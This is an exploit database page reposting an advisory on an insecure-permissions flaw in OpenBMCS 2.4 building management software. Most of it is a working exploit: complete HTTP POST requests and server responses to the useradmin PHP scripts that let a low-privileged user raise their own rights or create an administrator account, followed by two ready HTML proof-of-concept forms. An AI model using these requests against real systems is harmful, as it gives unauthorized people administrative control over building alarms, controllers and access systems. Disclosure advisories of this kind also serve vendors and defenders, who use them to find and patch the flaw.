0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

OpenBMCS 2.4 Remote Privilege Escalation Vulnerability

Author

LiquidWorm

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

Platform

OpenBMCS 2.4 Create Admin / Remote Privilege Escalation


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application suffers from an insecure permissions and privilege
escalation vulnerability. A regular user can create administrative users
and/or elevate her privileges by sending an HTTP POST request to specific
PHP scripts in '/plugins/useradmin/' directory.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5693
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php


26.10.2021

--


List current ID and permissions (read):
---------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 692
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]



List current ID and permissions (admin):
----------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=18

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 725
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"18","username":"testingus2","email":"testingus@test.tld","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]



Escalate privileges:
--------------------

POST /plugins/useradmin/update_user_permissions.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 702
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:58:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

2



Create admin from read user:
----------------------------

POST /plugins/useradmin/create_user.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 1010
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:18:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}



PoC escalate from editor to admin:
----------------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="id" value="17" />
      <input type="submit" value="Esc" />
    </form>
  </body>
</html>



PoC create admin from editor:
-----------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">
      <input type="hidden" name="user[username]" value="testingus2" />
      <input type="hidden" name="user[fullname]" value="TestName" />
      <input type="hidden" name="user[phone]" value="1112223333" />
      <input type="hidden" name="user[password]" value="Password123" />
      <input type="hidden" name="user[passwordConfirm]" value="Password123" />
      <input type="hidden" name="user[email]" value="testingus@test.tld" />
      <input type="hidden" name="user[expiry]" value="" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][mod_home]" value="0" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][mod_home]" value="0" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][mod_home]" value="0" />
      <input type="submit" value="Cre" />
    </form>
  </body>
</html>

#  0day.today [2024-11-15]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

OpenBMCS 2.4 Remote Privilege Escalation Vulnerability

Report Error

Report Error